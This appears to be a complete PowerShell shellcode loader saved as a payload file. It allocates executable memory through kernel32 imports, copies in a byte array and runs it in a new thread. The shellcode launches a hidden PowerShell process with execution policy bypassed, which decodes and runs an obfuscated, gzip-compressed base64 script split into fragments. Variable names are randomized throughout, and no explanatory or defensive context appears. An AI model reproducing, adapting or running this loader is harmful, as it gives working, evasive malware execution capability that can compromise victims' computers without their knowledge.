payload.txt

$rzJEzfsIm = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@

$ozmjNQUHYWcWLEB = Add-Type -memberDefinition $rzJEzfsIm -Name "Win32" -namespace Win32Functions -passthru

[Byte[]] $bwHCjeufl = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d,0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x53,0xff,0xd5,0x70,0x6f,0x77,0x65,0x72,0x73,0x68,0x65,0x6c,0x6c,0x2e,0x65,0x78,0x65,0x20,0x2d,0x6e,0x6f,0x70,0x20,0x2d,0x77,0x20,0x68,0x69,0x64,0x64,0x65,0x6e,0x20,0x2d,0x6e,0x6f,0x6e,0x69,0x20,0x2d,0x65,0x70,0x20,0x62,0x79,0x70,0x61,0x73,0x73,0x20,0x22,0x26,0x28,0x5b,0x73,0x63,0x72,0x69,0x70,0x74,0x62,0x6c,0x6f,0x63,0x6b,0x5d,0x3a,0x3a,0x63,0x72,0x65,0x61,0x74,0x65,0x28,0x28,0x4e,0x65,0x77,0x2d,0x4f,0x62,0x6a,0x65,0x63,0x74,0x20,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x49,0x4f,0x2e,0x53,0x74,0x72,0x65,0x61,0x6d,0x52,0x65,0x61,0x64,0x65,0x72,0x28,0x4e,0x65,0x77,0x2d,0x4f,0x62,0x6a,0x65,0x63,0x74,0x20,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x49,0x4f,0x2e,0x43,0x6f,0x6d,0x70,0x72,0x65,0x73,0x73,0x69,0x6f,0x6e,0x2e,0x47,0x7a,0x69,0x70,0x53,0x74,0x72,0x65,0x61,0x6d,0x28,0x28,0x4e,0x65,0x77,0x2d,0x4f,0x62,0x6a,0x65,0x63,0x74,0x20,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x49,0x4f,0x2e,0x4d,0x65,0x6d,0x6f,0x72,0x79,0x53,0x74,0x72,0x65,0x61,0x6d,0x28,0x2c,0x5b,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x43,0x6f,0x6e,0x76,0x65,0x72,0x74,0x5d,0x3a,0x3a,0x46,0x72,0x6f,0x6d,0x42,0x61,0x73,0x65,0x36,0x34,0x53,0x74,0x72,0x69,0x6e,0x67,0x28,0x28,0x28,0x27,0x48,0x34,0x73,0x49,0x41,0x50,0x4e,0x34,0x35,0x6d,0x51,0x43,0x41,0x35,0x56,0x57,0x27,0x2b,0x27,0x58,0x57,0x2f,0x62,0x4e,0x68,0x52,0x39,0x39,0x36,0x2b,0x34,0x4d,0x4c,0x52,0x46,0x51,0x69,0x7a,0x43,0x64,0x74,0x74,0x74,0x43,0x4a,0x42,0x69,0x6e,0x70,0x6f,0x4f,0x41,0x62,0x4c,0x57,0x71,0x4c,0x4c,0x6c,0x77,0x54,0x41,0x51,0x57,0x72,0x71,0x4f,0x74,0x64,0x43,0x6b,0x53,0x6c,0x4b,0x78,0x6a,0x63,0x27,0x2b,0x27,0x54,0x2f,0x76,0x61,0x52,0x7b,0x31,0x7d,0x66,0x54,0x68,0x4f,0x73,0x7b,0x31,0x7d,0x55,0x50,0x74,0x73,0x56,0x37,0x65,0x58,0x6a,0x27,0x2b,0x27,0x75,0x75,0x7b,0x32,0x7d,0x65,0x6b,0x6c,0x77,0x56,0x50,0x64,0x43,0x7b,0x32,0x7d,0x34,0x2f,0x49,0x6b,0x36,0x76,0x4d,0x46,0x46,0x77,0x6a,0x4c,0x6b,0x47,0x6e,0x71,0x50,0x50,0x54,0x43,0x50,0x74,0x30,0x6e,0x67,0x48,0x4c,0x37,0x67,0x4a,0x76,0x79,0x36,0x2b,0x42,0x63,0x54,0x44,0x65,0x48,0x31,0x4c,0x73,0x63,0x76,0x64,0x49,0x31,0x6d,0x55,0x42,0x4f,0x54,0x48,0x35,0x58,0x35,0x64,0x54,0x4c,0x35,0x57,0x2b,0x7b,0x31,0x7d,0x6e,0x58,0x4e,0x4b,0x43,0x36,0x55,0x68,0x69,0x61,0x69,0x49,0x5a,0x5a,0x63,0x70,0x41,0x65,0x46,0x6f,0x57,0x32,0x47,0x52,0x4e,0x70,0x64,0x6a,0x75,0x79,0x4c,0x4d,0x4d,0x4d,0x39,0x34,0x5a,0x71,0x58,0x4e,0x37,0x2b,0x39,0x36,0x79,0x70,0x70,0x69,0x4c,0x44,0x55,0x72,0x7a,0x5a,0x74,0x68,0x42,0x47,0x5a,0x39,0x53,0x53,0x64,0x64,0x2b,0x39,0x58,0x73,0x57,0x61,0x35,0x6e,0x78,0x75,0x37,0x6b,0x58,0x69,0x66,0x57,0x61,0x38,0x6e,0x52,0x77,0x4f,0x42,0x6f,0x72,0x6c,0x67,0x6a,0x2b,0x62,0x50,0x43,0x54,0x32,0x48,0x41,0x6d,0x61,0x46,0x71,0x4f,0x42,0x67,0x35,0x54,0x69,0x67,0x53,0x56,0x41,0x69,0x66,0x41,0x57,0x71,0x51,0x46,0x51,0x30,0x76,0x77,0x64,0x7a,0x2b,0x41,0x4b,0x69,0x56,0x62,0x67,0x6c,0x38,0x76,0x41,0x79,0x46,0x2b,0x68,0x2f,0x34,0x69,0x34,0x32,0x6b,0x2f,0x4b,0x49,0x50,0x56,0x76,0x48,0x49,0x75,0x79,0x35,0x52,0x47,0x27,0x2b,0x27,0x6a,0x74,0x4a,0x4d,0x6e,0x73,0x55,0x37,0x27,0x2b,0x27,0x38,0x33,0x74,0x4e,0x72,0x47,0x71,0x78,0x53,0x4f,0x35,0x52,0x4b,0x33,0x4b,0x64,0x35,0x46,0x63,0x75,0x7b,0x32,0x7d,0x2f,0x37,0x2b,0x2f,0x62,0x76,0x6a,0x65,0x55,0x52,0x70,0x4b,0x72,0x56,0x64,0x31,0x69,0x31,0x63,0x52,0x6c,0x32,0x48,0x7a,0x6a,0x74,0x35,0x6b,0x79,0x54,0x42,0x58,0x42,0x75,0x38,0x71,0x68,0x74,0x2b,0x78,0x57,0x54,0x2f,0x47,0x6c,0x75,0x4a,0x44,0x79,0x67,0x56,0x48,0x68,0x4e,0x75,0x6f,0x44,0x73,0x64,0x66,0x34,0x6c,0x34,0x4e,0x48,0x55,0x4c,0x39,0x7b,0x32,0x7d,0x65,0x2f,0x4c,0x44,0x7b,0x31,0x7d,0x63,0x6a,0x58,0x34,0x4c,0x66,0x78,0x32,0x46,0x6f,0x33,0x63,0x66,0x77,0x74,0x46,0x34,0x52,0x50,0x69,0x64,0x46,0x50,0x66,0x68,0x55,0x69,0x49,0x53,0x6d,0x75,0x66,0x39,0x67,0x61,0x6e,0x4e,0x7b,0x31,0x7d,0x65,0x70,0x56,0x6d,0x69,0x6f,0x74,0x6b,0x61,0x35,0x74,0x42,0x64,0x57,0x43,0x78,0x48,0x27,0x2b,0x27,0x67,0x76,0x4c,0x73,0x63,0x4d,0x38,0x35,0x27,0x2b,0x27,0x5a,0x7a,0x31,0x62,0x4b,0x4b,0x73,0x72,0x56,0x50,0x33,0x33,0x57,0x6f,0x51,0x31,0x67,0x70,0x46,0x74,0x64,0x67,0x72,0x33,0x44,0x47,0x70,0x4a,0x43,0x27,0x2b,0x27,0x5a,0x33,0x70,0x47,0x34,0x54,0x76,0x58,0x64,0x2b,0x67,0x4e,0x76,0x61,0x58,0x79,0x47,0x41,0x2f,0x2f,0x27,0x2b,0x27,0x52,0x75,0x7a,0x62,0x6f,0x65,0x77,0x69,0x70,0x67,0x74,0x6e,0x42,0x6e,0x47,0x2b,0x34,0x46,0x68,0x6f,0x6a,0x6c,0x44,0x70,0x62,0x5a,0x67,0x6e,0x56,0x2b,0x41,0x39,0x6c,0x57,0x55,0x71,0x74,0x47,0x53,0x50,0x4b,0x32,0x49,0x49,0x6d,0x39,0x2f,0x4d,0x67,0x65,0x49,0x7b,0x31,0x7d,0x4f,0x6d,0x52,0x52,0x36,0x5a,0x5a,0x31,0x73,0x4a,0x30,0x33,0x55,0x57,0x39,0x54,0x79,0x65,0x4d,0x48,0x7b,0x32,0x7d,0x6f,0x4b,0x2b,0x5a,0x47,0x6f,0x33,0x37,0x6a,0x6d,0x4e,0x33,0x69,0x55,0x61,0x37,0x74,0x76,0x61,0x75,0x75,0x4c,0x50,0x46,0x54,0x75,0x4e,0x73,0x50,0x76,0x66,0x73,0x74,0x37,0x58,0x74,0x6b,0x4a,0x44,0x78,0x30,0x44,0x78,0x50,0x50,0x7a,0x30,0x4f,0x39,0x30,0x35,0x2f,0x35,0x47,0x6b,0x64,0x39,0x6d,0x63,0x27,0x2b,0x27,0x61,0x74,0x35,0x6f,0x67,0x54,0x30,0x52,0x71,0x39,0x38,0x54,0x5a,0x32,0x53,0x53,0x4f,0x4c,0x69,0x38,0x44,0x32,0x35,0x4d,0x2f,0x62,0x49,0x37,0x66,0x76,0x7a,0x48,0x6d,0x46,0x68,0x73,0x46,0x55,0x37,0x76,0x39,0x34,0x68,0x55,0x79,0x42,0x72,0x4c,0x67,0x33,0x47,0x53,0x44,0x55,0x61,0x78,0x51,0x78,0x75,0x42,0x39,0x4f,0x41,0x55,0x50,0x2b,0x63,0x4f,0x5a,0x66,0x65,0x50,0x32,0x65,0x44,0x67,0x31,0x7b,0x32,0x7d,0x36,0x5a,0x35,0x54,0x53,0x41,0x52,0x36,0x37,0x7a,0x51,0x62,0x66,0x43,0x57,0x52,0x79,0x4c,0x66,0x79,0x65,0x78,0x75,0x70,0x63,0x47,0x50,0x41,0x76,0x67,0x72,0x53,0x36,0x52,0x51,0x7b,0x32,0x7d,0x71,0x6b,0x68,0x7b,0x31,0x7d,0x6a,0x49,0x58,0x73,0x68,0x53,0x5a,0x77,0x4d,0x51,0x75,0x5a,0x70,0x4d,0x55,0x53,0x44,0x54,0x7b,0x32,0x7d,0x44,0x35,0x69,0x53,0x57,0x33,0x37,0x27,0x2b,0x27,0x4c,0x6e,0x58,0x65,0x64,0x48,0x4f,0x54,0x47,0x74,0x41,0x76,0x39,0x74,0x72,0x44,0x42,0x63,0x4e,0x43,0x2b,0x6b,0x43,0x76,0x6b,0x64,0x33,0x72,0x56,0x74,0x56,0x61,0x39,0x38,0x62,0x76,0x6d,0x4f,0x76,0x4c,0x57,0x32,0x31,0x53,0x61,0x6e,0x63,0x37,0x68,0x79,0x6b,0x42,0x61,0x57,0x64,0x79,0x68,0x51,0x52,0x71,0x65,0x62,0x2b,0x64,0x61,0x7a,0x2f,0x6f,0x73,0x35,0x41,0x56,0x4e,0x56,0x6f,0x5a,0x7a,0x42,0x51,0x6f,0x5a,0x62,0x77,0x36,0x6c,0x4e,0x71,0x75,0x6c,0x62,0x52,0x2f,0x2f,0x34,0x43,0x77,0x50,0x53,0x46,0x31,0x74,0x64,0x65,0x7a,0x56,0x53,0x4d,0x48,0x54,0x4a,0x58,0x38,0x51,0x39,0x78,0x68,0x65,0x62,0x48,0x4f,0x6a,0x72,0x54,0x4a,0x36,0x4e,0x79,0x6a,0x37,0x72,0x71,0x55,0x32,0x71,0x34,0x79,0x68,0x37,0x33,0x74,0x5a,0x36,0x62,0x71,0x71,0x69,0x47,0x39,0x49,0x55,0x37,0x2f,0x79,0x32,0x41,0x43,0x47,0x41,0x2f,0x41,0x4f,0x32,0x41,0x63,0x51,0x63,0x6f,0x54,0x68,0x6b,0x61,0x51,0x58,0x56,0x6a,0x39,0x4d,0x72,0x34,0x32,0x57,0x72,0x31,0x27,0x2b,0x27,0x30,0x72,0x62,0x75,0x76,0x61,0x46,0x46,0x4a,0x71,0x66,0x4f,0x7b,0x31,0x7d,0x30,0x62,0x31,0x48,0x4d,0x42,0x71,0x53,0x57,0x53,0x67,0x66,0x4e,0x6e,0x53,0x42,0x6c,0x64,0x62,0x57,0x6f,0x34,0x47,0x58,0x42,0x73,0x32,0x36,0x61,0x2f,0x57,0x71,0x62,0x65,0x56,0x51,0x33,0x68,0x50,0x58,0x35,0x57,0x49,0x47,0x50,0x50,0x2f,0x34,0x38,0x67,0x69,0x66,0x34,0x57,0x75,0x69,0x77,0x51,0x67,0x56,0x6e,0x6e,0x67,0x4f,0x6f,0x4d,0x5a,0x53,0x43,0x31,0x4d,0x43,0x6e,0x63,0x44,0x4b,0x4e,0x34,0x63,0x52,0x38,0x6c,0x2f,0x70,0x66,0x69,0x61,0x54,0x30,0x63,0x7b,0x31,0x7d,0x43,0x6d,0x56,0x4b,0x39,0x73,0x39,0x43,0x4f,0x63,0x74,0x43,0x42,0x62,0x53,0x38,0x52,0x44,0x4b,0x7b,0x32,0x7d,0x57,0x63,0x44,0x65,0x63,0x48,0x69,0x33,0x56,0x7b,0x32,0x7d,0x6c,0x33,0x47,0x53,0x4d,0x4b,0x54,0x53,0x44,0x31,0x35,0x69,0x63,0x4e,0x35,0x39,0x4d,0x56,0x74,0x74,0x32,0x7a,0x73,0x32,0x38,0x50,0x2f,0x79,0x62,0x77,0x76,0x7a,0x6e,0x34,0x37,0x74,0x47,0x76,0x62,0x49,0x72,0x2f,0x57,0x63,0x7a,0x36,0x78,0x51,0x71,0x2b,0x62,0x47,0x64,0x41,0x65,0x50,0x4f,0x2b,0x34,0x6a,0x4a,0x68,0x53,0x36,0x65,0x73,0x72,0x74,0x57,0x46,0x39,0x6b,0x58,0x63,0x4f,0x30,0x74,0x31,0x75,0x73,0x52,0x56,0x27,0x2b,0x27,0x35,0x66,0x61,0x65,0x37,0x54,0x4f,0x4c,0x50,0x35,0x4d,0x39,0x44,0x30,0x7a,0x6c,0x31,0x72,0x50,0x77,0x41,0x4f,0x50,0x48,0x2b,0x69,0x30,0x67,0x67,0x41,0x41,0x41,0x7b,0x30,0x7d,0x7b,0x30,0x7d,0x27,0x29,0x2d,0x66,0x27,0x3d,0x27,0x2c,0x27,0x45,0x27,0x2c,0x27,0x59,0x27,0x29,0x29,0x29,0x29,0x2c,0x5b,0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x49,0x4f,0x2e,0x43,0x6f,0x6d,0x70,0x72,0x65,0x73,0x73,0x69,0x6f,0x6e,0x2e,0x43,0x6f,0x6d,0x70,0x72,0x65,0x73,0x73,0x69,0x6f,0x6e,0x4d,0x6f,0x64,0x65,0x5d,0x3a,0x3a,0x44,0x65,0x63,0x6f,0x6d,0x70,0x72,0x65,0x73,0x73,0x29,0x29,0x29,0x2e,0x52,0x65,0x61,0x64,0x54,0x6f,0x45,0x6e,0x64,0x28,0x29,0x29,0x29,0x22,0x0


$OGWeWdclnQc = $ozmjNQUHYWcWLEB::VirtualAlloc(0,[Math]::Max($bwHCjeufl.Length,0x1000),0x3000,0x40)

[System.Runtime.InteropServices.Marshal]::Copy($bwHCjeufl,0,$OGWeWdclnQc,$bwHCjeufl.Length)

$ozmjNQUHYWcWLEB::CreateThread(0,0,$OGWeWdclnQc,0,0,0)